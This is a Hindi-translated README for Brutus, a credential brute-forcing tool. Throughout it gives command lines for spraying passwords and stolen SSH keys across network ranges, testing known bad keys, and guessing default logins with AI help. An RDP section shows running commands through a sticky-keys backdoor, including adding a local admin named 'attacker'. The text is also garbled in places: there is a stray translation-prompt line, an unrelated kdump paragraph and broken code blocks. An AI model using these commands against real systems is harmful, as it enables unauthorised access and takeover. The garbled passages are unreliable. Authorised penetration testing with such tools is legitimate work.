Brutus

"और तू, ब्रूटस?" — क्रेडेंशियल्स गिरने से पहले के अंतिम शब्द।

शुद्ध Go में आधुनिक क्रेडेंशियल परीक्षण उपकरण

स्थापना • त्वरित शुरुआत • पाइपलाइन • प्रोटोकॉल • गणना • प्रॉक्सी • लाइब्रेरी

अवलोकन

Brutus एक बहु-प्रोटोकॉल प्रमाणीकरण परीक्षण उपकरण है जिसे आक्रामक सुरक्षा उपकरणों में एक महत्वपूर्ण अंतर को संबोधित करने के लिए डिज़ाइन किया गया है: विविध नेटवर्क सेवाओं में कुशल क्रेडेंशियल सत्यापन। जबकि HTTP-केंद्रित उपकरण प्रचुर मात्रा में हैं, पेनिट्रेशन परीक्षकों और रेड टीम ऑपरेटरों को अक्सर डेटाबेस, SSH, SMB और अन्य नेटवर्क सेवाओं का सामना करना पड़ता है जिनके लिए उद्देश्य-निर्मित प्रमाणीकरण परीक्षण क्षमताओं की आवश्यकता होती है।

Go में एकल बाइनरी के रूप में शून्य बाहरी निर्भरताओं के साथ निर्मित, Brutus स्वचालित सेवा खोज के लिए Nerva के साथ सहजता से एकीकृत होता है, जिससे ऑपरेटर पूरे नेटवर्क रेंज में प्रमाणीकरण वैक्टर की तेजी से पहचान और परीक्षण कर सकते हैं।

मुख्य विशेषताएँ:

शून्य निर्भरताएँ: एकल बाइनरी, क्रॉस-प्लेटफ़ॉर्म (लिनक्स, विंडोज, मैकओएस)
27 प्रोटोकॉल: SSH, RDP, MySQL, PostgreSQL, MSSQL, Oracle, Redis, SMB, LDAP, WinRM, SNMP, HTTP बेसिक प्रमाणीकरण, और अधिक
SOCKS5 प्रॉक्सी समर्थन: --proxy के साथ सभी ट्रैफ़िक को SOCKS5 प्रॉक्सी के माध्यम से रूट करें
आक्रामकता मोड: कवरेज बनाम सुरक्षा को ट्यून करने के लिए --mode cautious|default|aggressive
पाइपलाइन एकीकरण: Nerva, naabu, nmap, और masscan वर्कफ़्लो के लिए मूल समर्थन
अंतर्निहित खराब कुंजियाँ: ज्ञात SSH कुंजियों का अंतर्निहित संग्रह (Vagrant, F5, ExaGrid, आदि)
खाता गणना: खाता-अस्तित्व ओरेकल गणना, Kerberos उपयोगकर्ता गणना, ईमेल जनरेशन, Microsoft Teams/Entra ID डिवाइस कोड प्रमाणीकरण
Go लाइब्रेरी: सीधे अपने सुरक्षा ऑटोमेशन टूल्स में आयात करें
उत्पादन के लिए तैयार: दर सीमित, कनेक्शन पूलिंग, और व्यापक त्रुटि प्रबंधन

क्यों Brutus?

पारंपरिक उपकरण जैसे THC Hydra ने सुरक्षा समुदाय की अच्छी सेवा की है, लेकिन वे महत्वपूर्ण घर्षण के साथ आते हैं: जटिल निर्भरता श्रृंखलाएँ, प्लेटफ़ॉर्म-विशिष्ट संकलन समस्याएँ, और आधुनिक टोही वर्कफ़्लो के साथ कोई मूल एकीकरण नहीं।

Brutus आधुनिक आक्रामक सुरक्षा के लिए उद्देश्य-निर्मित है:

सच्ची शून्य-निर्भरता तैनाती: एकल बाइनरी डाउनलोड करें और चलाएँ। कोई libssh-dev, कोई libmysqlclient-dev, कोई संकलन त्रुटि नहीं। लिनक्स, मैकओएस और विंडोज पर समान रूप से काम करता है।
मूल पाइपलाइन एकीकरण: Brutus JSON बोलता है और सीधे Nerva, naabu, nmap, और masscan के साथ एकीकृत होता है। खोजी गई सेवाओं को बिना प्रारूप रूपांतरण या स्क्रिप्टिंग के सीधे क्रेडेंशियल परीक्षण में पाइप करें।
अंतर्निहित बुद्धिमत्ता: ज्ञात SSH खराब कुंजियाँ (Vagrant, F5 BIG-IP, ExaGrid, आदि) बाइनरी में संकलित की जाती हैं। SSH लक्ष्यों के विरुद्ध उनका परीक्षण करने के लिए brutus badkeys का उपयोग करें।
लाइब्रेरी-प्रथम डिज़ाइन: Brutus को सीधे अपने Go सुरक्षा उपकरणों में आयात करें। बाहरी प्रक्रियाओं को शेल किए बिना कस्टम ऑटोमेशन बनाएँ।```bash

Full network credential audit in one pipeline (JSON mode)

naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva --json | brutus creds --json

Or use Nerva's default URI output — no --json flags needed

naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva | brutus creds

---

## उपयोग के मामले

### पैठ परीक्षण
- आंतरिक मूल्यांकन के दौरान कई सेवाओं पर खोजे गए क्रेडेंशियल्स को मान्य करें
- डेटाबेस और फ़ाइल शेयर सेवाओं में पासवर्ड पुन: उपयोग पैटर्न का परीक्षण करें
- नवनियोजित बुनियादी ढाँचे पर डिफ़ॉल्ट क्रेडेंशियल्स की पहचान करें

### रेड टीम संचालन
- पासवर्ड डंप या फ़िशिंग अभियानों के बाद तीव्र क्रेडेंशियल सत्यापन
- नेटवर्क सेवाओं में पार्श्व संचलन के अवसरों का परीक्षण करें
- असमान वातावरणों में समझौता किए गए क्रेडेंशियल्स को मान्य करें

### निजी कुंजी स्प्रेइंग

किसी समझौता किए गए सिस्टम पर एक निजी कुंजी मिली? इसे नेटवर्क में स्प्रे करें ताकि पता चले कि और कहाँ यह पहुँच प्रदान करती है:```bash
# Discover SSH services and spray a found private key
naabu -host 10.0.0.0/24 -p 22 -silent | \
  nerva --json | \
  brutus creds -u root,admin,ubuntu,deploy -k /path/to/found_key --json

यह पाइपलाइन सभी SSH सेवाओं का पता लगाती है, उन्हें Nerva से पहचानती है, और समझौता की गई कुंजी को सामान्य उपयोगकर्ता नामों के विरुद्ध परीक्षण करती है—जिससे सेकंडों में पार्श्व गति के अवसर सामने आते हैं।

वेब व्यवस्थापक पैनल परीक्षण

AI-संचालित पहचान या मैन्युअल क्रेडेंशियल सूचियों का उपयोग करके HTTP सेवाओं का पता लगाएँ और क्रेडेंशियल्स का परीक्षण करें:```bash

AI-powered: auto-detect devices and suggest default credentials

naabu -host 10.0.0.0/24 -p 80,443,3000,8080,9090 -silent |
nerva --json |
brutus web --experimental-ai --json

Manual: test specific credentials against web panels

naabu -host 10.0.0.0/24 -p 80,443,8080 -silent |
nerva --json |
brutus web -c "admin:admin,root:password" --json

Default wordlist: test common credentials without AI or -c

naabu -host 10.0.0.0/24 -p 80,443,8080 -silent |
nerva --json |
brutus web --json

### सुरक्षा सत्यापन
- नई तैनात की गई सेवाओं पर डिफ़ॉल्ट क्रेडेंशियल्स का परीक्षण करें
- प्लेटफार्मों पर पासवर्ड नीति प्रवर्तन को मान्य करें
- अनुपालन और सुरक्षा मूल्यांकन के लिए ऑडिट ट्रेल्स उत्पन्न करें

---

## स्थापना

### पूर्व-निर्मित बाइनरी (अनुशंसित)

से डाउनलोड करें [GitHub Releases](https://github.com/praetorian-inc/brutus/releases):```bash
# Linux (amd64)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-linux-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/

# macOS (Apple Silicon)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-arm64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/

# macOS (Intel)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/

Please provide the Markdown content to translate.```powershell

Windows (PowerShell)

Invoke-WebRequest -Uri https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-windows-amd64.zip -OutFile brutus.zip Expand-Archive -Path brutus.zip -DestinationPath . Remove-Item brutus.zip

### Go इंस्टॉल```bash
go install github.com/praetorian-inc/brutus/cmd/brutus@latest

Quick Start

Subcommands

Brutus अपनी कार्यक्षमता को छह केंद्रित उप-कमांडों में व्यवस्थित करता है:```bash brutus creds # Non-HTTP credential auditing (SSH, databases, SMB, etc.) brutus web # HTTP/web panel auditing (Basic Auth, form login, AI-powered) brutus snmp # SNMP community string testing brutus badkeys # Known weak/compromised SSH key testing brutus logon # Windows logon-screen backdoor detection (sticky keys, utilman) brutus enum # Account enumeration (account-existence oracles, Kerberos, Teams auth, email generation)

प्रत्येक उप-कमांड में खोजने योग्यता के लिए उपनाम होते हैं:

| उप-कमांड | उपनाम |
|------------|---------|
| `creds` | `services`, `defaults`, `credentials` |
| `web` | `http`, `panels` |
| `snmp` | `community` |
| `badkeys` | `keys`, `ssh-keys`, `badkey` |
| `logon` | `stickykeys`, `sticky-keys`, `utilman`, `sethc`, `winlogon`, `accessibility` |
| `enum` | *(कोई नहीं)* |```bash
# Test SSH credentials
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor

# Test HTTP web panel with AI credential detection
brutus web --target 192.168.1.1:80 --experimental-ai

# Test HTTP web panel with manual credentials
brutus web --target 192.168.1.1:80 -c "admin:admin,root:toor"

# Test SNMP community strings
brutus snmp --target 192.168.1.1:161 --mode aggressive

# Detect Windows logon-screen backdoors
brutus logon --target 10.0.0.50:3389

# Pipeline mode: creds skips HTTP/SNMP, web skips non-HTTP, snmp skips non-SNMP
naabu -host 10.0.0.0/24 -silent | nerva --json | brutus creds -P passwords.txt
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | nerva --json | brutus web --experimental-ai
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive

मूल उपयोग```bash

Test SSH with default credentials

brutus creds --target 192.168.1.100:22 --protocol ssh

Test with specific credentials

brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor

Test with username and password lists

brutus creds --target 192.168.1.100:22 --protocol ssh -U users.txt -P passwords.txt

Test MySQL database

brutus creds --target 192.168.1.100:3306 --protocol mysql -u root -p password

Test SSH with a specific private key

brutus creds --target 192.168.1.100:22 --protocol ssh -u deploy -k /path/to/id_rsa

Increase threads for faster testing

brutus creds --target 192.168.1.100:22 --protocol ssh -t 20

JSON output for scripting

brutus creds --target 192.168.1.100:22 --protocol ssh --json

### आउटपुट उदाहरण```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root,admin -p toor,password,admin
[+] VALID: ssh root:toor @ 192.168.1.100:22 (1.23s)

वर्बोज़ मोड (-v) के साथ:``` $ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p password,toor -v [-] FAILED: ssh root:password @ 192.168.1.100:22 (0.45s) [+] VALID: ssh root:toor @ 192.168.1.100:22 (0.52s)

पाइपलाइन एकीकरण के लिए JSON आउटपुट (केवल सफल क्रेडेंशियल्स आउटपुट करता है):```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor --json
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}

पाइपलाइन एकीकरण

Brutus Nerva और naabu के साथ निर्बाध रूप से एकीकृत होता है, जो पूर्ण नेटवर्क टोही प्रदान करता है।

वास्तविक-विश्व परिदृश्य

परिदृश्य 1: कॉर्पोरेट /24 नेटवर्क को स्कैन करना```bash

Discover all open ports, identify services, test default credentials

naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent |
nerva --json |
brutus creds --json -o results.json

Same pipeline using Nerva's default URI output (no --json needed)

naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent |
nerva | brutus creds -o results.json

Review findings (all output is successful credentials)

cat results.json | jq '.'

#### परिदृश्य 2: लक्ष्य डोमेन पर Bug Bounty Recon```bash
# Full pipeline against a single target
naabu -host target.example.com -top-ports 1000 -silent | \
  nerva --json | \
  brutus creds

# Or scan a list of subdomains
cat subdomains.txt | naabu -silent | nerva --json | brutus creds

परिदृश्य 3: आंतरिक मूल्यांकन में डेटाबेस खोज```bash

Find and test all databases in a range

naabu -host 192.168.0.0/16 -p 3306,5432,1433,27017,6379,9042 -silent |
nerva --json |
brutus creds -t 5 --json |
tee database-findings.json

Extract credentials in readable format

jq -r '"(.target) (.username):(.password)"' database-findings.json

#### परिदृश्य 4: बुनियादी ढांचे में SSH कुंजी परीक्षण```bash
# Test embedded bad keys (Vagrant, F5 BIG-IP, ExaGrid, etc.) across a range
naabu -host 10.0.0.0/8 -p 22 -rate 1000 -silent | \
  nerva --json | \
  brutus badkeys --json -o ssh-key-findings.json

# Find systems using compromised SSH keys (key field is true)
cat ssh-key-findings.json | jq 'select(.key == true)'

परिदृश्य 5: लक्षित सेवा परीक्षण```bash

Test only Redis instances found in the network

naabu -host 172.16.0.0/12 -p 6379 -silent |
nerva --json |
brutus creds

Test only MongoDB with custom credentials

naabu -host 10.0.0.0/24 -p 27017 -silent |
nerva --json |
brutus creds -u admin,root,mongodb -p admin,password,mongodb

### Scan Tool Import (Nmap & Masscan)

Brutus सीधे **nmap** और **masscan** स्कैन आउटपुट फ़ाइलों से लक्ष्य आयात कर सकता है, जिससे प्रारूप रूपांतरण या मध्यवर्ती उपकरणों की आवश्यकता समाप्त हो जाती है।

#### Nmap XML Import (`--nmap-file`)

nmap के XML आउटपुट (`-oX`) से लक्ष्य आयात करें। Nmap service fingerprinting प्रदान करता है, इसलिए Brutus स्वचालित रूप से पता लगाई गई सेवाओं को सही प्रोटोकॉल पर मैप करता है:```bash
# Run an nmap service scan
nmap -sV -oX scan.xml 10.0.0.0/24 -p 22,3306,5432,6379,445,3389

# Feed nmap results directly to Brutus
brutus creds --nmap-file scan.xml -P passwords.txt

# Test web services from nmap scan
brutus web --nmap-file scan.xml -c "admin:admin,root:password"

# Test SNMP from nmap scan
brutus snmp --nmap-file scan.xml --mode aggressive

# JSON output for scripting
brutus creds --nmap-file scan.xml --json -o results.json

Nmap सेवा नाम स्वचालित रूप से Brutus प्रोटोकॉल में मैप हो जाते हैं (जैसे, ms-wbt-server → rdp, microsoft-ds → smb)। TLS को nmap के tunnel="ssl" विशेषता से पता लगाया जाता है। केवल उपलब्ध होस्ट पर खुले पोर्ट आयात किए जाते हैं।

Masscan JSON आयात (`--masscan-file`)

masscan के JSON आउटपुट (-oJ) से लक्ष्य आयात करें। चूंकि masscan केवल एक पोर्ट स्कैनर है (कोई सेवा फिंगरप्रिंटिंग नहीं), आपको या तो --protocol निर्दिष्ट करना होगा या Brutus को Nerva के साथ स्वचालित रूप से फिंगरप्रिंट करने देना होगा:```bash

Run a masscan port scan

masscan 10.0.0.0/24 -p 22,3306,5432,6379 -oJ scan.json --rate 10000

Test all discovered ports as SSH (when you know what's running)

brutus creds --masscan-file scan.json --protocol ssh -u root -P passwords.txt

Auto-fingerprint with Nerva (when services are unknown)

brutus creds --masscan-file scan.json -P passwords.txt

#### अन्य वर्कफ़्लो के साथ संयोजन

`--nmap-file` और `--masscan-file` फ़्लैग सभी उप-कमांड के साथ काम करते हैं और `--target`, `--targets-file`, और stdin के साथ परस्पर अनन्य हैं:```bash
# Scan for RDP backdoors from nmap results
brutus logon --nmap-file scan.xml

# Test SSH bad keys from nmap results
brutus badkeys --nmap-file scan.xml

# Override protocol for all masscan targets
brutus creds --masscan-file scan.json --protocol redis -p "redis,password"

पाइपलाइन इनपुट प्रारूप

Brutus stdin से कई इनपुट प्रारूप स्वीकार करता है:

Nerva JSON (nerva --json):```bash {"ip":"192.168.1.100","port":22,"protocol":"ssh","tls":false,"transport":"tcp","version":"OpenSSH_8.9p1"} {"ip":"192.168.1.101","port":3306,"protocol":"mysql","tls":false,"transport":"tcp","version":"8.0.32"}

**Nerva URI** (डिफ़ॉल्ट Nerva आउटपुट, कोई `--json` आवश्यक नहीं):```bash
# Nerva outputs URI-scheme lines by default
$ echo "github.com:22" | nerva
ssh://github.com:22 (20.205.243.166)

# Pipe directly to Brutus — protocol is extracted from the URI scheme
echo "10.0.0.1:22" | nerva | brutus creds
echo "10.0.0.0/24:3306" | naabu -silent | nerva | brutus creds

नंगे लक्ष्य (Nerva के साथ स्वचालित फिंगरप्रिंटिंग):```bash echo "192.168.1.100:22" | brutus creds

Brutus स्वचालित रूप से:
- JSON, URI स्कीम और बेयर टार्गेट फॉर्मेट को पार्स करता है
- सेवाओं को प्रोटोकॉल से मैप करता है
- उपयुक्त डिफ़ॉल्ट क्रेडेंशियल्स का परीक्षण करता है
- परिणाम को मेल खाने वाले JSON फॉर्मेट में आउटपुट करता है

### पाइपलाइन आउटपुट फॉर्मेट

Brutus केवल सफल क्रेडेंशियल्स को JSONL फॉर्मेट में आउटपुट करता है (प्रति पंक्ति एक JSON ऑब्जेक्ट):```bash
# Brutus JSON output (with --json flag) - only successful authentications
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
{"protocol":"mysql","target":"192.168.1.101:3306","username":"root","password":"","duration":"890.123µs"}
{"protocol":"ssh","target":"192.168.1.103:22","username":"vagrant","key":true,"duration":"2.345678ms","banner":"SSH-2.0-OpenSSH_9.6"}

नोट: असफल प्रमाणीकरण प्रयास JSON आउटपुट में शामिल नहीं हैं। key फ़ील्ड (true के रूप में) तब दिखाई देती है जब प्रमाणीकरण में पासवर्ड के बजाय SSH कुंजी का उपयोग किया गया हो। llm_suggested फ़ील्ड (true के रूप में) तब दिखाई देती है जब क्रेडेंशियल्स AI सिस्टम (--experimental-ai) द्वारा सुझाए गए हों।

तुलना

समर्थित प्रोटोकॉल

Brutus 27 प्रोटोकॉल का समर्थन करता है:

नेटवर्क सेवाएं

वेब सेवाएं

प्रोटोकॉल	पोर्ट	प्रमाणीकरण विधियाँ	उपयोग परिदृश्य
HTTP	80	बेसिक प्रमाणीकरण	प्रशासन पैनल (Grafana, Jenkins, आदि)
HTTPS	443	बेसिक प्रमाणीकरण	सुरक्षित प्रशासन पैनल

एंटरप्राइज़ इंफ्रास्ट्रक्चर

डेटाबेस

कंटेनर और ऑर्केस्ट्रेशन

प्रोटोकॉल	पोर्ट	प्रमाणीकरण विधियाँ	उपयोग परिदृश्य
Docker	2375/2376	अप्रमाणित	उजागर Docker डेमॉन
Kubernetes	6443/10250	अप्रमाणित	उजागर K8s API/kubelet

संचार सेवाएं

एम्बेडेड SSH बैड कुंजियाँ

बिना किसी बाहरी कुंजी फ़ाइलों की आवश्यकता के एकल बाइनरी तैनाती। प्रत्येक कुंजी को स्मार्ट क्रेडेंशियल मैपिंग के लिए उसके डिफ़ॉल्ट उपयोगकर्ता नाम से जोड़ा जाता है, और CVE ट्रैकिंग अनुपालन प्रश्नों को सक्षम करती है।

Brutus अपने बाइनरी में rapid7/ssh-badkeys और Vagrant कुंजी संग्रह शामिल करता है:```bash

Test bad keys against a single target

brutus badkeys --target 192.168.1.100:22

Pipeline mode: scan a range for compromised SSH keys

naabu -host 10.0.0.0/24 -p 22 -silent | nerva --json | brutus badkeys

Test credentials (bad keys are NOT included in creds mode)

brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p "password"

### एम्बेडेड कुंजी संग्रह

| उत्पाद | CVE | डिफ़ॉल्ट उपयोगकर्ता | विवरण |
|---------|-----|--------------|-------------|
| Vagrant | - | vagrant, root | HashiCorp Vagrant असुरक्षित कुंजी |
| F5 BIG-IP | CVE-2012-1493 | root | स्थिर SSH होस्ट कुंजी |
| ExaGrid | CVE-2016-1561 | root | बैकअप उपकरण बैकडोर |
| Monroe DASDEC | CVE-2013-0137 | root | आपातकालीन अलर्ट सिस्टम |
| Barracuda | CVE-2014-8428 | cluster | लोड बैलेंसर VM |
| Ceragon FibeAir | CVE-2015-0936 | mateidu | वायरलेस बैकहॉल |
| Array Networks | - | sync | vAPV/vxAG उपकरण |
| Quantum DXi | - | root | डिडुप्लीकेशन उपकरण |
| Loadbalancer.org | - | root | एंटरप्राइज़ लोड बैलेंसर |

---

## आक्रामकता मोड

ग्लोबल `--mode` फ्लैग (`-m`) सभी उपकमांड में आक्रामकता को नियंत्रित करता है। यह प्रदर्शन ट्यूनिंग प्रीसेट सेट करता है जो कवरेज को सुरक्षा के विरुद्ध संतुलित करते हैं:

| मोड | थ्रेड्स | टाइमआउट | दर सीमा | जिटर | पुनः प्रयास | उपयोग मामला |
|------|---------|---------|------------|--------|---------|----------|
| `cautious` | 5 | 15s | 2 req/s | 500ms | 1 | उत्पादन वातावरण, लॉकआउट से बचें |
| `default` | 10 | 10s | असीमित | कोई नहीं | 2 | मानक परीक्षण |
| `aggressive` | 20 | 10s | असीमित | कोई नहीं | 3 | लैब/CTF वातावरण, अधिकतम कवरेज |

मोड प्रीसेट पहले लागू किए जाते हैं, फिर कोई स्पष्ट CLI फ्लैग उन्हें ओवरराइड करते हैं:```bash
# Safe mode for production Active Directory (low concurrency, rate-limited)
brutus creds --target dc.corp.local:445 --protocol smb -m cautious -U users.txt -P passwords.txt

# Maximum coverage for a CTF
brutus creds --target 10.10.10.100:22 --protocol ssh -m aggressive -U users.txt -P rockyou.txt

# Cautious mode but override threads
brutus creds --target 192.168.1.100:22 --protocol ssh -m cautious --threads 20

SNMP के लिए, मोड अंतर्निहित वर्डलिस्ट गहराई को भी नियंत्रित करता है (देखें SNMP Community String Testing)।

SOCKS5 प्रॉक्सी समर्थन

--proxy फ्लैग सभी कनेक्शनों को SOCKS5 प्रॉक्सी के माध्यम से रूट करता है। यह सभी प्रोटोकॉल और उपकमांडों पर काम करता है:```bash

Route SSH testing through a SOCKS5 proxy

brutus creds --target 10.0.0.100:22 --protocol ssh --proxy socks5://127.0.0.1:1080

Proxy with authentication

brutus creds --target 10.0.0.100:3306 --protocol mysql --proxy socks5://user:[email protected]:1080

DNS resolution on the proxy side (socks5h)

brutus creds --target internal.corp:22 --protocol ssh --proxy socks5h://127.0.0.1:1080

Combine with pipeline input

naabu -host 10.0.0.0/24 -p 22,3306 -silent | nerva --json | brutus creds --proxy socks5://127.0.0.1:1080

Works with all subcommands

brutus web --target 192.168.1.1:8080 --proxy socks5://127.0.0.1:1080 brutus snmp --target 192.168.1.1:161 --proxy socks5://127.0.0.1:1080

Supported schemes:
- `socks5://` — मानक SOCKS5 प्रॉक्सी (क्लाइंट-साइड DNS रिज़ॉल्यूशन)
- `socks5h://` — रिमोट DNS रिज़ॉल्यूशन के साथ SOCKS5 (आंतरिक होस्टनामों को लक्षित करते समय उपयोगी)

---

## SNMP कम्युनिटी स्ट्रिंग परीक्षण

`snmp` उपकमांड वैश्विक `--mode` फ़्लैग द्वारा नियंत्रित स्तरीय वर्डलिस्ट के साथ समर्पित SNMP v1/v2c कम्युनिटी स्ट्रिंग परीक्षण प्रदान करता है:

| मोड | स्ट्रिंग्स | कवरेज |
|------|---------|----------|
| `cautious` | ~25 | सामान्य स्ट्रिंग्स (public, private, community, आदि) |
| `default` | ~25 | वैसा ही जैसे cautious |
| `aggressive` | 200+ | व्यापक (विक्रेता-विशिष्ट, SCADA, IP कैमरे, स्टोरेज, आदि) |```bash
# Test with default community strings (~25)
brutus snmp --target 192.168.1.1:161

# Aggressive mode for comprehensive testing (200+)
brutus snmp --target 10.0.0.1:161 --mode aggressive

# Custom community strings
brutus snmp --target 192.168.1.1:161 -c "mycommunity,secretstring"

# Custom community string file
brutus snmp --target 192.168.1.1:161 -C community-strings.txt

# Pipeline mode
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive

लाइब्रेरी एकीकरण

सुरक्षा ऑटोमेशन उपकरण बनाने वाले डेवलपर्स के लिए, Brutus को एक Go लाइब्रेरी के रूप में आयात किया जा सकता है:```bash go get github.com/praetorian-inc/brutus

## डोमेन / IP पते बहिष्कृत करना

`kdump` एक विशेष पर्यावरण चर `KDUMP_DOMAILS_EXCLUDE` का समर्थन करता है जो आपको डोमेन नामों और IP पतों की एक अल्पविराम से अलग की गई सूची परिभाषित करने की अनुमति देता है जिन्हें रिपोर्टिंग से बाहर रखा जाना चाहिए।```go
package main

import (
    "fmt"
    "time"

    "github.com/praetorian-inc/brutus/pkg/brutus"
    _ "github.com/praetorian-inc/brutus/pkg/builtins" // registers all protocols and analyzers
)

func main() {
    config := &brutus.Config{
        Target:        "192.168.1.100:22",
        Protocol:      "ssh",
        Usernames:     []string{"root", "admin"},
        Passwords:     []string{"password", "admin", "toor"},
        Timeout:       5 * time.Second,
        Threads:       10,
    }

    results, err := brutus.Brute(config)
    if err != nil {
        panic(err)
    }

    for _, r := range results {
        if r.Success {
            fmt.Printf("[+] Valid: %s:%s\n", r.Username, r.Password)
        }
    }
}

प्रायोगिक: AI-संचालित क्रेडेंशियल पहचान

⚠️ प्रायोगिक सुविधा: AI सुविधाओं के लिए बाहरी API कुंजियों की आवश्यकता होती है और ये सक्रिय विकास के अंतर्गत हैं।

`--experimental-ai` फ़्लैग

--experimental-ai फ़्लैग HTTP सेवाओं के लिए स्वचालित क्रेडेंशियल पहचान सक्षम करता है:```bash

Set up API keys

export ANTHROPIC_API_KEY="your-anthropic-key" # Required: Claude Vision for device identification export PERPLEXITY_API_KEY="your-perplexity-key" # Optional: additional web search

AI-powered credential testing against HTTP services

naabu -host 192.168.1.0/24 -p 80,443,8080 -silent |
nerva --json |
brutus web --experimental-ai

**यह कैसे काम करता है:**

1. **पहचान** — Brutus HTTP लक्ष्यों की जाँच करके प्रमाणीकरण प्रकार (Basic Auth बनाम फ़ॉर्म-आधारित) का पता लगाता है
2. **डिवाइस पहचान** — Claude Vision स्क्रीनशॉट का विश्लेषण करके डिवाइस/एप्लिकेशन की पहचान करता है
3. **क्रेडेंशियल सुझाव** — Claude अपने प्रशिक्षण डेटा से डिफ़ॉल्ट क्रेडेंशियल सुझाता है
4. **वैकल्पिक वेब खोज** — Perplexity (यदि कॉन्फ़िगर किया गया हो) ऑनलाइन अतिरिक्त क्रेडेंशियल खोजता है
5. **परीक्षण** — पाए गए क्रेडेंशियल्स को लक्ष्य के विरुद्ध जाँचता है

**HTTP Basic Auth लक्ष्यों के लिए:**
- HTTP हेडर कैप्चर करने के लिए `/` की जाँच करता है
- Server हेडर, WWW-Authenticate realm आदि से डिवाइस की पहचान करता है
- Claude संभावित डिफ़ॉल्ट क्रेडेंशियल सुझाता है
- क्रेडेंशियल जोड़ियों का स्वचालित रूप से परीक्षण करता है

**HTTP फ़ॉर्म-आधारित auth लक्ष्यों के लिए:**
- पेज को रेंडर और स्क्रीनशॉट लेने के लिए हेडलेस Chrome का उपयोग करता है
- Claude Vision लॉगिन फ़ॉर्म, डिवाइस प्रकार की पहचान करता है और क्रेडेंशियल सुझाता है
- Perplexity (वैकल्पिक) अतिरिक्त डिफ़ॉल्ट क्रेडेंशियल खोजता है
- ब्राउज़र ऑटोमेशन फ़ॉर्म भरता है और सबमिट करता है

**आवश्यकताएँ:**
- `ANTHROPIC_API_KEY` — **आवश्यक** Claude Vision (डिवाइस पहचान + क्रेडेंशियल सुझाव) के लिए
- `PERPLEXITY_API_KEY` — *वैकल्पिक* अतिरिक्त वेब खोज अनुसंधान के लिए
- Chrome/Chromium स्थापित होना चाहिए (केवल फ़ॉर्म-आधारित auth के लिए)

**गैर-HTTP प्रोटोकॉल (SSH, MySQL, आदि) `--experimental-ai` से प्रभावित नहीं होते** — वे मानक क्रेडेंशियल परीक्षण का उपयोग करते रहते हैं।

---

## RDP: स्टिकी कीज बैकडोर पहचान और शोषण

Brutus में RDP लक्ष्यों पर **स्टिकी कीज बैकडोर** (MITRE ATT&CK [T1546.008](https://attack.mitre.org/techniques/T1546/008/)) का स्वचालित पता लगाना शामिल है। यह प्री-ऑथेंटिकेशन जाँच गैर-NLA RDP लक्ष्यों पर चलती है — किसी क्रेडेंशियल की आवश्यकता नहीं।

**यह कैसे काम करता है:**

1. RDP लक्ष्य से कनेक्ट होता है और गैर-NLA सत्र पर बातचीत करता है
2. आधार रेखा के रूप में लॉगिन स्क्रीन बिटमैप कैप्चर करता है
3. 5 बार Shift कुंजी भेजता है (स्टिकी कीज ट्रिगर)
4. प्रतिक्रिया बिटमैप कैप्चर करता है
5. ह्यूरिस्टिक विश्लेषण पता लगाता है कि कोई टर्मिनल विंडो दिखाई दी (cmd.exe, PowerShell, आदि)
6. वैकल्पिक रूप से Claude Vision API के माध्यम से पुष्टि करता है (जब `ANTHROPIC_API_KEY` सेट हो)```bash
# Detection only — no brute force
brutus logon --target 10.0.0.50:3389

# Detection + Vision API confirmation
brutus logon --target 10.0.0.50:3389 --experimental-ai

केवल पहचान मोड: logon उपकमांड स्टिकी कीज़ और यूटिलमैन बैकडोर का पता लगाने के लिए बिना ब्रूट फोर्स के चलता है:```bash

Detection only (no brute force)

brutus logon --target 10.0.0.50:3389

**डिटेक्शन आउटपुट:**```
[CRITICAL] Sticky keys backdoor CONFIRMED (confidence: 85%)
sethc.exe has been replaced with cmd.exe or similar.
SYSTEM-level unauthenticated access available via 5x Shift.

Command Execution via Backdoor (`--exec`)

एक बार बैकडोर का पता चलने पर, प्री-प्रमाणीकरण कमांड प्रॉम्प्ट के माध्यम से दूरस्थ सिस्टम पर एक कमांड निष्पादित करें:```bash

Execute a single command via the backdoor

brutus logon --target 10.0.0.50:3389 --exec "whoami"

Add a local admin account

brutus logon --target 10.0.0.50:3389
--exec "net user attacker P@ssw0rd /add && net localgroup administrators attacker /add"

यह कनेक्ट करता है, बैकडोर को ट्रिगर करता है, कमांड टाइप करता है, Enter दबाता है, आउटपुट की प्रतीक्षा करता है, और परिणाम का PNG स्क्रीनशॉट सहेजता है।

### Interactive Web Terminal (`--web`)

बैकडोर कमांड प्रॉम्प्ट के साथ लाइव इंटरैक्शन के लिए ब्राउज़र-आधारित RDP व्यूअर लॉन्च करें:```bash
# Start interactive web terminal
brutus logon --target 10.0.0.50:3389 --web

यह एक स्थानीय HTTP सर्वर प्रारंभ करता है:

लाइव स्क्रीन स्ट्रीमिंग ~10 FPS पर (WebSocket पर JPEG)
पूर्ण कीबोर्ड फ़ॉरवर्डिंग (PS/2 स्कैनकोड ब्राउज़र KeyboardEvent से मैप किए गए)
माउस समर्थन (क्लिक, मूव, राइट-क्लिक)
